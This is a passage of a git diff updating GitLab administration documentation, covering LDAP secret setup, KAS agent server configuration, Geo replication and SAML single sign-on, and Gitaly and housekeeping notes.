hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_servers'] = { + 'main' => { + 'bind_dn' => 'admin', + 'password' => '123' + } + } + ``` + +1. Get inside the container, and edit the encrypted secret: + + ```shell + sudo docker exec -t bash + gitlab-rake gitlab:ldap:secret:edit EDITOR=vim + ``` + +1. Enter the unencrypted contents of the LDAP secret: + + ```yaml + main: + bind_dn: admin + password: '123' + ``` + +1. Edit `docker-compose.yml` and remove the settings for `bind_dn` and `password`. +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. If initially your LDAP configuration in `/home/git/gitlab/config/gitlab.yml` looked like: ```yaml production: ldap: servers: main: - # snip... bind_dn: admin password: '123' ``` @@ -534,7 +942,7 @@ If initially your LDAP configuration looked like: bundle exec rake gitlab:ldap:secret:edit EDITOR=vim RAILS_ENVIRONMENT=production ``` -1. The unencrypted contents of the LDAP secret should be entered like: +1. Enter the unencrypted contents of the LDAP secret: ```yaml main: @@ -542,9 +950,16 @@ If initially your LDAP configuration looked like: password: '123' ``` -1. Edit `config/gitlab.yaml` and remove the settings for `bind_dn` and `password`. +1. Edit `/home/git/gitlab/config/gitlab.yml` and remove the settings for `bind_dn` and `password`. +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target -1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. + # For systems running SysV init + sudo service gitlab restart + ``` ::EndTabs diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md index 21ec4b293d4..95064b296af 100644 --- a/doc/administration/auth/ldap/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap/ldap-troubleshooting.md @@ -373,7 +373,7 @@ things to debug the situation. 1. Search for the user. 1. Open the user by selecting their name. Do not select **Edit**. 1. Select the **Identities** tab. There should be an LDAP identity with - an LDAP DN as the 'Identifier'. If not, this user hasn't signed in with + an LDAP DN as the `Identifier`. If not, this user hasn't signed in with LDAP yet and must do so first. - You've waited an hour or [the configured interval](ldap_synchronization.md#adjust-ldap-group-sync-schedule) for the group to sync. To speed up the process, either go to the GitLab group **Group information > Members** @@ -523,8 +523,8 @@ LDAP group lookups. The very last occurrence of this entry should indicate exactly which users GitLab believes should be added to the group. NOTE: -10 is 'Guest', 20 is 'Reporter', 30 is 'Developer', 40 is 'Maintainer' -and 50 is 'Owner'. +10 is `Guest`, 20 is `Reporter`, 30 is `Developer`, 40 is `Maintainer` +and 50 is `Owner`. ```shell Resolved 'my_group' group member access: {"uid=john0,ou=people,dc=example,dc=com"=>30, diff --git a/doc/administration/auth/ldap/ldap_synchronization.md b/doc/administration/auth/ldap/ldap_synchronization.md index 5c8c7f7baf1..cc300941470 100644 --- a/doc/administration/auth/ldap/ldap_synchronization.md +++ b/doc/administration/auth/ldap/ldap_synchronization.md @@ -366,7 +366,7 @@ group, GitLab revokes their `admin` role when syncing. ### Global group memberships lock -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1793) in GitLab 12.0. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4354) in GitLab 12.0. GitLab administrators can prevent group members from inviting new members to subgroups that have their membership synchronized with LDAP. diff --git a/doc/administration/clusters/kas.md b/doc/administration/clusters/kas.md index 79dd69183a6..9f0f7e836f7 100644 --- a/doc/administration/clusters/kas.md +++ b/doc/administration/clusters/kas.md @@ -24,8 +24,6 @@ As a GitLab administrator, you can install the agent server: - For [Omnibus installations](#for-omnibus). - For [GitLab Helm Chart installations](#for-gitlab-helm-chart). -Or, you can [use an external agent server](#use-an-external-installation). - ### For Omnibus You can enable the agent server for [Omnibus](https://docs.gitlab.com/omnibus/) package installations on a single node, or on multiple nodes at once. @@ -60,6 +58,11 @@ To enable the agent server on multiple nodes: 'SSL_CERT_DIR' => "/opt/gitlab/embedded/ssl/certs/", 'OWN_PRIVATE_API_URL' => 'grpc://:8155' } + + gitlab_rails['gitlab_kas_enabled'] = true + gitlab_rails['gitlab_kas_external_url'] = 'wss://gitlab.example.com/-/kubernetes-agent/' + gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' + gitlab_rails['gitlab_kas_external_k8s_proxy_url'] = 'https://gitlab.example.com/-/kubernetes-agent/' ``` In this configuration: @@ -68,8 +71,10 @@ To enable the agent server on multiple nodes: - `OWN_PRIVATE_API_URL` is the environment variable used by the KAS process for service discovery. You can set it to a hostname or IP address of the node you're configuring. The node must be reachable by other nodes in the cluster. - `gitlab_kas['api_secret_key']` is the shared secret used for authentication between KAS and GitLab. This value must be Base64-encoded and exactly 32 bytes long. - `gitlab_kas['private_api_secret_key']` is the shared secret used for authentication between different KAS instances. This value must be Base64-encoded and exactly 32 bytes long. + - `gitlab_rails['gitlab_kas_external_url']` is the user-facing URL for the in-cluster `agentk`. + - `gitlab_rails['gitlab_kas_internal_url']` is the internal URL the GitLab backend uses to communicate with KAS. + - `gitlab_rails['gitlab_kas_external_k8s_proxy_url']` is the user-facing URL for Kubernetes API proxying. -1. For each application node, follow the steps in [Use an external installation](../clusters/kas.md#use-an-external-installation). If the agent server is enabled on the application node, do not include `gitlab_kas['enable'] = false` in the configuration for that node. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). ### For GitLab Helm Chart @@ -100,30 +105,6 @@ For GitLab [Helm Chart](https://docs.gitlab.com/charts/) installations: For details, see [how to use the GitLab-KAS chart](https://docs.gitlab.com/charts/charts/gitlab/kas/). -### Use an external installation - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299850) in GitLab 13.10. - -Instead of installing the agent server, you can configure GitLab to use an external agent server. - -If you used the GitLab Helm Chart to install GitLab, see -[how to configure your external agent server](https://docs.gitlab.com/charts/charts/globals.html#external-kas). - -If you used the Omnibus packages: - -1. Edit `/etc/gitlab/gitlab.rb` and add the paths to your external agent server: - - ```ruby - gitlab_kas['enable'] = false - gitlab_kas['api_secret_key'] = 'Your shared secret between GitLab and KAS' - - gitlab_rails['gitlab_kas_enabled'] = true - gitlab_rails['gitlab_kas_external_url'] = 'wss://kas.gitlab.example.com' # User-facing URL for the in-cluster agentk - gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' # Internal URL for the GitLab backend - ``` - -1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). - ## Troubleshooting If you have issues while using the agent server for Kubernetes, view the diff --git a/doc/administration/docs_self_host.md b/doc/administration/docs_self_host.md index 9021a795523..f049dafea76 100644 --- a/doc/administration/docs_self_host.md +++ b/doc/administration/docs_self_host.md @@ -91,7 +91,7 @@ Prerequisite: To host the product documentation site with GitLab Pages: -1. [Create a blank project](../user/project/working_with_projects.md#create-a-blank-project). +1. [Create a blank project](../user/project/index.md#create-a-blank-project). 1. Create a new or edit your existing `.gitlab-ci.yml` file, and add the following `pages` job, while ensuring the version is the same as your GitLab installation: diff --git a/doc/administration/geo/disaster_recovery/bring_primary_back.md b/doc/administration/geo/disaster_recovery/bring_primary_back.md index dda2c5d34d3..fe05b52cec9 100644 --- a/doc/administration/geo/disaster_recovery/bring_primary_back.md +++ b/doc/administration/geo/disaster_recovery/bring_primary_back.md @@ -26,6 +26,16 @@ Alternatively, you can [set up a new **secondary** GitLab instance](../setup/ind To bring the former **primary** site up to date: 1. SSH into the former **primary** site that has fallen behind. +1. Remove `/etc/gitlab/gitlab-cluster.json` if it exists. + + If the site to be re-added as a **secondary** site was promoted with the `gitlab-ctl geo promote` command, then it may contain a `/etc/gitlab/gitlab-cluster.json` file. For example during `gitlab-ctl reconfigure`, you may notice output like: + + ```plaintext + The 'geo_primary_role' is defined in /etc/gitlab/gitlab-cluster.json as 'true' and overrides the setting in the /etc/gitlab/gitlab.rb + ``` + + If so, then `/etc/gitlab/gitlab-cluster.json` must be deleted from every Sidekiq, PostgreSQL, Gitaly, and Rails node in the site, to make `/etc/gitlab/gitlab.rb` the single source of truth again. + 1. Make sure all the services are up: ```shell diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md index a78350d9dba..b6703e8a5fb 100644 --- a/doc/administration/geo/disaster_recovery/index.md +++ b/doc/administration/geo/disaster_recovery/index.md @@ -460,9 +460,9 @@ required: ### Step 4. (Optional) Updating the primary domain DNS record -Updating the DNS records for the primary domain to point to the **secondary** site -to prevent the need to update all references to the primary domain to the -secondary domain, like changing Git remotes and API URLs. +Update DNS records for the primary domain to point to the **secondary** site. +This removes the need to update all references to the primary domain, for example +changing Git remotes and API URLs. 1. SSH into the **secondary** site and login as root: @@ -479,6 +479,21 @@ secondary domain, like changing Git remotes and API URLs. external_url 'https://' ``` + If you provide GitLab with its certificate + [manually](https://docs.gitlab.com/omnibus/settings/ssl/index.html#configure-https-manually), + ensure: + + - The new URL is one of the subject alternative names: + + ```shell + /opt/gitlab/embedded/bin/openssl x509 -noout -dates -subject -issuer \ + -nameopt multiline -ext subjectAltName -in /etc/gitlab/ssl/new-gitlab.new-example.com.crt + ``` + + - The certificate and key filenames match the new `external_url`, + or those filenames are + [specified in `/etc/gitlab/gitlab.rb`](https://docs.gitlab.com/omnibus/settings/ssl/index.html#change-the-default-ssl-certificate-location). + NOTE: Changing `external_url` does not prevent access via the old secondary URL, as long as the secondary DNS records are still intact. diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md index 68fd0c63e37..8728ab57bba 100644 --- a/doc/administration/geo/index.md +++ b/doc/administration/geo/index.md @@ -124,7 +124,9 @@ The following are required to run Geo: - Git 2.9 or later - Git-lfs 2.4.2 or later on the user side when using LFS - All sites must run [the same GitLab and PostgreSQL versions](setup/database.md#postgresql-replication). -- If using different operating system versions between Geo sites, [check OS locale data compatibility](replication/troubleshooting.md#check-os-locale-data-compatibility) across Geo sites. + - If using different operating system versions between Geo sites, + [check OS locale data compatibility](replication/troubleshooting.md#check-os-locale-data-compatibility) + across Geo sites to avoid silent corruption of database indexes. Additionally, check the GitLab [minimum requirements](../../install/requirements.md), and use the latest version of GitLab for a better experience. @@ -163,15 +165,6 @@ To update the internal URL of the primary Geo site: 1. Select **Edit** on the primary site. 1. Change the **Internal URL**, then select **Save changes**. -### LDAP - -We recommend that if you use LDAP on your **primary** site, you also set up secondary LDAP servers on each **secondary** site. Otherwise, users are unable to perform Git operations over HTTP(s) on the **secondary** site using HTTP Basic Authentication. However, Git via SSH and personal access tokens still works. - -NOTE: -It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server is available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site. - -Check for instructions on how to set up replication in your LDAP service. Instructions are different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html). - ### Geo Tracking Database The tracking database instance is used as metadata to control what needs to be updated on the disk of the local instance. For example: @@ -224,6 +217,8 @@ An [epic exists](https://gitlab.com/groups/gitlab-org/-/epics/4623) to fix this The only way to view designs replication data for a particular secondary site is to visit that secondary site directly. For example, `https:///admin/geo/replication/designs`. An [epic exists](https://gitlab.com/groups/gitlab-org/-/epics/4624) to fix this limitation. +Keep in mind that mentioned URLs don't work when [Admin Mode](../../user/admin_area/settings/sign_in_restrictions.md#admin-mode) is enabled. + ## Setup instructions For setup instructions, see [Setting up Geo](setup/index.md). @@ -292,6 +287,14 @@ For more information on how to replicate the Container Registry, see [Container For more information on using Geo proxying on secondary sites, see [Geo proxying for secondary sites](secondary_proxy/index.md). +### Single Sign On (SSO) + +For more information on configuring Single Sign-On (SSO), see [Geo with Single Sign-On (SSO)](replication/single_sign_on.md). + +#### LDAP + +For more information on configuring LDAP, see [Geo with Single Sign-On (SSO) > LDAP](replication/single_sign_on.md#ldap). + ### Security Review For more information on Geo security, see [Geo security review](replication/security_review.md). diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md index d625b2a0324..79a3f65377b 100644 --- a/doc/administration/geo/replication/configuration.md +++ b/doc/administration/geo/replication/configuration.md @@ -104,7 +104,7 @@ keys must be manually replicated to the **secondary** site. 1. Make a backup of any existing SSH host keys: ```shell - find /etc/ssh -iname ssh_host_* -exec cp {} {}.backup.`date +%F` \; + find /etc/ssh -iname 'ssh_host_*' -exec cp {} {}.backup.`date +%F` \; ``` 1. Copy OpenSSH host keys from the **primary** site: diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md index 52cd64b8f33..26acab510cf 100644 --- a/doc/administration/geo/replication/datatypes.md +++ b/doc/administration/geo/replication/datatypes.md @@ -64,7 +64,7 @@ verification methods: | Blobs | Alert Metric Images _(file system)_ | Geo with API | SHA256 checksum | | Blobs | Alert Metric Images _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | | Blobs | Dependency Proxy Images_(file system)_ | Geo with API | SHA256 checksum | -| Blobs | Dependency Proxy Images _(object_storage)_ | Geo with API/managed (*2*) | _Not implemented_ | +| Blobs | Dependency Proxy Images _(object storage)_ | Geo with API/managed (*2*) | _Not implemented_ | - (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo sites. - (*2*): Object storage replication can be performed by Geo or by your object storage provider/appliance diff --git a/doc/administration/geo/replication/location_aware_git_url.md b/doc/administration/geo/replication/location_aware_git_url.md index 460de5f3232..4a3f9c86041 100644 --- a/doc/administration/geo/replication/location_aware_git_url.md +++ b/doc/administration/geo/replication/location_aware_git_url.md @@ -57,7 +57,7 @@ routing configurations. ![Traffic policies](img/single_git_traffic_policies.png) -1. Select the **Create traffic policy** button. +1. Select **Create traffic policy**. ![Name policy](img/single_git_name_policy.png) diff --git a/doc/administration/geo/replication/remove_geo_site.md b/doc/administration/geo/replication/remove_geo_site.md index 4b9f31dc08c..9d92652daf4 100644 --- a/doc/administration/geo/replication/remove_geo_site.md +++ b/doc/administration/geo/replication/remove_geo_site.md @@ -11,7 +11,7 @@ type: howto 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Geo > Nodes**. -1. Select the **Remove** button for the **secondary** site you want to remove. +1. For the **secondary** site you want to remove, select **Remove**. 1. Confirm by selecting **Remove** when the prompt appears. After the **secondary** site is removed from the Geo administration page, you must @@ -25,6 +25,9 @@ stop and uninstall this site. For each node on your secondary Geo site: 1. Uninstall GitLab: + NOTE: + If GitLab data has to be cleaned from the instance as well, see how to [uninstall the Linux package and all its data](https://docs.gitlab.com/omnibus/installation/#uninstall-the-linux-package-omnibus). + ```shell # Stop gitlab and remove its supervision process sudo gitlab-ctl uninstall diff --git a/doc/administration/geo/replication/single_sign_on.md b/doc/administration/geo/replication/single_sign_on.md new file mode 100644 index 00000000000..fc2f23552db --- /dev/null +++ b/doc/administration/geo/replication/single_sign_on.md @@ -0,0 +1,122 @@ +--- +stage: Systems +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +type: howto +--- + +# Geo with Single Sign On (SSO) **(PREMIUM SELF)** + +This documentation only discusses Geo-specific SSO considerations and configuration. For more information on general authentication, see [GitLab authentication and authorization](../../auth/index.md). + +## Configuring instance-wide SAML + +### Prerequisites + +[Instance-wide SAML](../../../integration/saml.md) must be working on your primary Geo site. + +You only configure SAML on the primary site. Configuring `gitlab_rails['omniauth_providers']` in `gitlab.rb` in a secondary site has no effect. + +### Determine the type of URL your secondary site uses + +How you configure instance-wide SAML differs depending on your secondary site configuration. Determine if your secondary site uses a: + +- [Unified URL](../secondary_proxy/index.md#set-up-a-unified-url-for-geo-sites), meaning the `external_url` exactly matches the `external_url` of the primary site. +- [Separate URL](../secondary_proxy/index.md#geo-proxying-with-separate-urls) with proxying enabled. Proxying is enabled by default in GitLab 15.1 and later. +- [Separate URL](../secondary_proxy/index.md#geo-proxying-with-separate-urls) with proxying disabled. + +### SAML with Unified URL + +If you have configured SAML on the primary site correctly, then it should work on the secondary site without additional configuration. + +### SAML with separate URL with proxying enabled + +If a secondary site uses a different `external_url` to the primary site, then configure your SAML Identity Provider (IdP) to allow the secondary site's SAML callback URL. For example, to configure Okta: + +1. [Sign in to Okta](https://www.okta.com/login/). +1. Go to **Okta Admin Dashboard** > **Applications** > **Your App Name** > **General**. +1. In **SAML Settings**, select **Edit**. +1. In **General Settings**, select **Next** to go to **SAML Settings**. +1. In **SAML Settings > General**, make sure the **Single sign-on URL** is your primary site's SAML callback URL. For example, `https://gitlab-primary.example.com/users/auth/saml/callback`. If it is not, enter your primary site's SAML callback URL into this field. +1. Select **Show Advanced Settings**. +1. In **Other Requestable SSO URLs**, enter your secondary site's SAML callback URL. For example, `https://gitlab-secondary.example.com/users/auth/saml/callback`. You can set **Index** to anything. +1. Select **Next** and then **Finish**. + +You must not specify `assertion_consumer_service_url` in the SAML provider configuration in `gitlab_rails['omniauth_providers']` in `gitlab.rb` of the primary site. For example: + +```ruby +gitlab_rails['omniauth_providers'] = [ + { + name: "saml", + label: "Okta", # optional label for login button, defaults to "Saml" + args: { + idp_cert_fingerprint: "B5:AD:AA:9E:3C:05:68:AD:3B:78:ED:31:99:96:96:43:9E:6D:79:96", + idp_sso_target_url: "https://.okta.com/app/dev-account_gitlabprimary_1/exk7k2gft2VFpVFXa5d1/sso/saml", + issuer: "https://", + name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent" + } + } +] +``` + +This configuration causes: + +- Both your sites to use `/users/auth/saml/callback` as their assertion consumer service (ACS) URL. +- The URL's host to be set to the corresponding site's host. + +You can check this by visiting each site's `/users/auth/saml/metadata` path. For example, visiting `https://gitlab-primary.example.com/users/auth/saml/metadata` may respond with: + +```xml + + + urn:oasis:names:tc:SAML:2.0:nameid-format:persistent + + + Required attributes + + + + + + + +``` + +Visiting `https://gitlab-secondary.example.com/users/auth/saml/metadata` may respond with: + +```xml + + + urn:oasis:names:tc:SAML:2.0:nameid-format:persistent + + + Required attributes + + + + + + + +``` + +The `Location` attribute of the `md:AssertionConsumerService` field points to `gitlab-secondary.example.com`. + +After configuring your SAML IdP to allow the secondary site's SAML callback URL, you should be able to sign in with SAML on your primary site as well as your secondary site. + +### SAML with separate URL with proxying disabled + +If you have configured SAML on the primary site correctly, then it should work on the secondary site without additional configuration. + +## LDAP + +If you use LDAP on your **primary** site, you should also set up secondary LDAP servers on each **secondary** site. Otherwise, users cannot perform Git operations over HTTP(s) on the **secondary** site using HTTP basic authentication. However, users can still use Git with SSH and personal access tokens. + +NOTE: +It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server is available in a [disaster recovery](../disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site. + +Check your LDAP service documentation for instructions on how to set up replication in your LDAP service. The process differs depending on the software or service used. For example, OpenLDAP provides this [replication documentation](https://www.openldap.org/doc/admin24/replication.html). diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md index 1dcced781ce..2f2759d7339 100644 --- a/doc/administration/geo/replication/troubleshooting.md +++ b/doc/administration/geo/replication/troubleshooting.md @@ -1100,6 +1100,10 @@ On the **primary** site: 1. Ensure the **URL** field matches the value found in `/etc/gitlab/gitlab.rb` in `external_url "https://gitlab.example.com"` on the **Rails nodes of the secondary** site. +### Authenticating with SAML on the secondary site always lands on the primary site + +This [problem is usually encountered when upgrading to GitLab 15.1](version_specific_upgrades.md#upgrading-to-151). To fix this problem, see [configuring instance-wide SAML in Geo with Single Sign-On](single_sign_on.md#configuring-instance-wide-saml). + ## Fixing common errors This section documents common error messages reported in the Admin Area on the web interface, and how to fix them. @@ -1313,6 +1317,18 @@ registry = Geo::PackageFileRegistry.find(registry_id) registry.replicator.send(:download) ``` +#### Find registry records of blobs that failed to sync + +```ruby +Geo::PackageFileRegistry.failed +``` + +#### Find registry records of blobs that are missing on the primary site + +```ruby +Geo::PackageFileRegistry.where(last_sync_failure: 'The file is missing on the Geo primary site') +``` + #### Verify package files on the secondary manually This iterates over all package files on the secondary, looking at the @@ -1340,7 +1356,7 @@ status.keys.each {|key| puts "#{key} count: #{status[key].count}"} status ``` -### Reverify all uploads (or any SSF data type which is verified) +#### Reverify all uploads (or any SSF data type which is verified) 1. SSH into a GitLab Rails node in the primary Geo site. 1. Open [Rails console](../../../administration/operations/rails_console.md#starting-a-rails-console-session). @@ -1396,21 +1412,6 @@ registry = Geo::SnippetRepositoryRegistry.find(registry_id) registry.replicator.send(:sync_repository) ``` -### Find failed artifacts - -[Start a Rails console session](../../../administration/operations/rails_console.md#starting-a-rails-console-session) -to run the following commands: - -```ruby -Geo::JobArtifactRegistry.failed -``` - -#### Find `ID` of synced artifacts that are missing on primary - -```ruby -Geo::JobArtifactRegistry.synced.missing_on_primary.pluck(:artifact_id) -``` - ### Project or project wiki repositories #### Find repository verification failures @@ -1535,9 +1536,12 @@ If the above steps are **not successful**, proceed through the next steps: ## Check OS locale data compatibility -If different operating systems or different operating system versions are deployed across Geo sites, we recommend that you perform a locale data compatibility check setting up Geo. +If different operating systems or different operating system versions are deployed across Geo sites, you should perform a locale data compatibility check before setting up Geo. -Geo uses PostgreSQL and Streaming Replication to replicate data across Geo sites. PostgreSQL uses locale data provided by the operating system’s C library for sorting text. If the locale data in the C library is incompatible across Geo sites, erroneous query results that lead to [incorrect behavior on secondary sites](https://gitlab.com/gitlab-org/gitlab/-/issues/360723). See [here](https://wiki.postgresql.org/wiki/Locale_data_changes) for more details. +Geo uses PostgreSQL and Streaming Replication to replicate data across Geo sites. PostgreSQL uses locale data provided by the operating system's C library for sorting text. If the locale data in the C library is incompatible across Geo sites, erroneous query results that lead to [incorrect behavior on secondary sites](https://gitlab.com/gitlab-org/gitlab/-/issues/360723). + +For example, Ubuntu 18.04 (and earlier) and RHEL/Centos7 (and earlier) are incompatible with their later releases. +See the [PostgreSQL wiki for more details](https://wiki.postgresql.org/wiki/Locale_data_changes). On all hosts running PostgreSQL, across all Geo sites, run the following shell command: @@ -1561,4 +1565,8 @@ or the reverse order: If the output is identical on all hosts, then they running compatible versions of locale data. -If the output differs on some hosts, then PostgreSQL replication will not work properly. We advise that you select operating system versions that are compatible. +If the output differs on some hosts, PostgreSQL replication does not work properly: indexes are corrupted on the database replicas. You should select operating system versions that are compatible. + +A full index rebuild is required if the on-disk data is transferred 'at rest' to an operating system with an incompatible locale, or through replication. + +This check is also required when using a mixture of GitLab deployments. The locale might be different between an Linux package install, a GitLab Docker container, a Helm chart deployment, or external database services. diff --git a/doc/administration/geo/replication/version_specific_upgrades.md b/doc/administration/geo/replication/version_specific_upgrades.md index d981656f748..aa8e5d77f67 100644 --- a/doc/administration/geo/replication/version_specific_upgrades.md +++ b/doc/administration/geo/replication/version_specific_upgrades.md @@ -6,6 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Version-specific upgrade instructions **(PREMIUM SELF)** +NOTE: +We're in the process of merging all the version-specific upgrade information +into a single page. See [epic 9581](https://gitlab.com/groups/gitlab-org/-/epics/9581) +for more information. For the time being, visit the +[general upgrade page](../../../update/index.md) +for the newest Geo version-specific upgrade instructions. + Review this page for upgrade instructions for your version. These steps accompany the [general steps](upgrading_the_geo_sites.md#general-upgrade-steps) for upgrading Geo sites. @@ -14,7 +21,7 @@ for upgrading Geo sites. [Geo proxying](../secondary_proxy/index.md) was [enabled by default for different URLs](https://gitlab.com/gitlab-org/gitlab/-/issues/346112) in 15.1. This may be a breaking change. If needed, you may [disable Geo proxying](../secondary_proxy/index.md#disable-geo-proxying). -If you are using SAML with different URLs, there is a [known issue which requires proxying to be disabled](https://gitlab.com/gitlab-org/gitlab/-/issues/377372). +If you are using SAML with different URLs, you must modify your SAML configuration and your Identity Provider configuration. For more information, see the [Geo with Single Sign-On (SSO) documentation](single_sign_on.md). ## Upgrading to 14.9 diff --git a/doc/administration/get_started.md b/doc/administration/get_started.md index 4099ddc16f8..2b9b5291c54 100644 --- a/doc/administration/get_started.md +++ b/doc/administration/get_started.md @@ -36,7 +36,7 @@ Watch an overview of [groups and projects](https://www.youtube.com/watch?v=cqb2m Get started: -- Create a [project](../user/project/working_with_projects.md#create-a-project). +- Create a [project](../user/project/index.md#create-a-project). - Create a [group](../user/group/manage.md#create-a-group). - [Add members](../user/group/manage.md#add-users-to-a-group) to the group. - Create a [subgroup](../user/group/subgroups/index.md#create-a-subgroup). @@ -55,7 +55,7 @@ Get started: You may need to import projects from external sources like GitHub, Bitbucket, or another instance of GitLab. Many external sources can be imported into GitLab. -- Review the [GitLab projects documentation](../user/project/index.md#project-integrations). +- Review the [GitLab projects documentation](../user/project/index.md). - Consider [repository mirroring](../user/project/repository/mirror/index.md)—an [alternative to project migrations](../ci/ci_cd_for_external_repos/index.md). - Check out our [migration index](../user/project/import/index.md) for documentation on common migration paths. - Schedule your project exports with our [import/export API](../api/project_import_export.md#schedule-an-export). diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md index 32b44552b1a..b2b6962a222 100644 --- a/doc/administration/gitaly/index.md +++ b/doc/administration/gitaly/index.md @@ -570,9 +570,9 @@ To migrate to Gitaly Cluster: [repository storage recommendations](praefect.md#repository-storage-recommendations). 1. Create and configure [Gitaly Cluster](praefect.md). 1. Configure the existing Gitaly instance [to use TCP](praefect.md#use-tcp-for-existing-gitlab-instances), if not already configured that way. -1. [Move the repositories](../operations/moving_repositories.md#move-repositories). To migrate to +1. [Move the repositories](../operations/moving_repositories.md#moving-repositories). To migrate to Gitaly Cluster, existing repositories stored outside Gitaly Cluster must be moved. There is no - automatic migration but the moves can be scheduled with the GitLab API. + automatic migration, but the moves can be scheduled with the GitLab API. Even if you don't use the `default` repository storage, you must ensure it is configured. [Read more about this limitation](configure_gitaly.md#gitlab-requires-a-default-repository-storage). @@ -583,7 +583,7 @@ If the limitations and tradeoffs of Gitaly Cluster are found to be not suitable off Gitaly Cluster to a sharded Gitaly instance: 1. Create and configure a new [Gitaly server](configure_gitaly.md#run-gitaly-on-its-own-server). -1. [Move the repositories](../operations/moving_repositories.md#move-repositories) to the newly created storage. You can +1. [Move the repositories](../operations/moving_repositories.md#moving-repositories) to the newly created storage. You can move them by shard or by group, which gives you the opportunity to spread them over multiple Gitaly servers. ## Direct access to Git in GitLab diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md index 9cc93b21ae9..8b4750b299d 100644 --- a/doc/administration/gitaly/praefect.md +++ b/doc/administration/gitaly/praefect.md @@ -177,9 +177,10 @@ database on the same PostgreSQL server if using [Geo](../geo/index.md). The replication state is internal to each instance of GitLab and should not be replicated. -These instructions help set up a single PostgreSQL database, which creates a single point of -failure. To avoid this, you can configure your own clustered PostgreSQL. Support for PostgreSQL replication and failover using Omnibus GitLab is being tracked in -[a relevant epic](https://gitlab.com/groups/gitlab-org/-/epics/7814). +These instructions help set up a single PostgreSQL database, which creates a single point of failure. To avoid this, you can configure your own clustered +PostgreSQL. Support for PostgreSQL replication and failover using Omnibus GitLab is proposed in [epic 7814](https://gitlab.com/groups/gitlab-org/-/epics/7814). +Clustered database support for other databases (for example, Praefect and Geo databases) is proposed in +[issue 7292](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/7292). The following options are available: diff --git a/doc/administration/gitaly/troubleshooting.md b/doc/administration/gitaly/troubleshooting.md index 7f5d4b9e443..4b8ed74ec62 100644 --- a/doc/administration/gitaly/troubleshooting.md +++ b/doc/administration/gitaly/troubleshooting.md @@ -169,7 +169,7 @@ Confirm the following are all true: - When any user adds or modifies a file from the repository using the GitLab UI, it immediately fails with a red `401 Unauthorized` banner. -- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#create-a-blank-project) +- Creating a new project and [initializing it with a README](../../user/project/index.md#create-a-blank-project) successfully creates the project but doesn't create the README. - When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server) on a Gitaly client and reproducing the error, you get `401` errors diff --git a/doc/administration/housekeeping.md b/doc/administration/housekeeping.md index 584f06ef537..e1b26595bc4 100644 --- a/doc/administration/housekeeping.md +++ b/doc/administration/housekeeping.md @@ -34,7 +34,7 @@ Gitaly can perform housekeeping tasks in a Git repository in two ways: The "eager" housekeeping strategy executes housekeeping tasks in a repository independent of the repository state. This is the default strategy as used by the -[manual trigger](#manual-trigger) and the [push-based trigger](#push-based-trigger). +[manual trigger](#manual-trigger) and the push-based trigger. The eager housekeeping strategy is controlled by the GitLab application. Depending on the trigger that caused the housekeeping job to run, GitLab asks @@ -45,20 +45,14 @@ be slow. ### Heuristical housekeeping -> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 14.9 for the [manual trigger](#manual-trigger) and the [push-based trigger](#push-based-trigger) [with a flag](feature_flags.md) named `optimized_housekeeping`. Enabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 14.9 for the [manual trigger](#manual-trigger) and the push-based trigger [with a flag](feature_flags.md) named `optimized_housekeeping`. Enabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/353607) in GitLab 14.10. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature, ask an administrator to [disable the feature flag](feature_flags.md) named `optimize_repository`. - -To make it available, ask an administrator to [enable the feature flag](feature_flags.md) named `optimized_housekeeping`. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107661) in GitLab 15.8. Feature flag `optimized_housekeeping` removed. The heuristical (or "opportunistic") housekeeping strategy analyzes the repository's state and executes housekeeping tasks only when it finds one or more data structures are insufficiently optimized. This is the strategy used by -[scheduled housekeeping](#scheduled-housekeeping). It can 